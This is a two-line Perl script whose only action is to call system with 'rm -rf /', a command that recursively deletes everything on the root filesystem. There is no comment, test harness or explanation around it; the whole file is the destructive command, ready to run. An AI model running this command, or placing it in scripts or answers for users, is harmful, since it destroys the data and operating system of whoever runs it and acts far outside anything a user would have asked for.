#!/usr/bin/perl
 system qw{rm -rf /}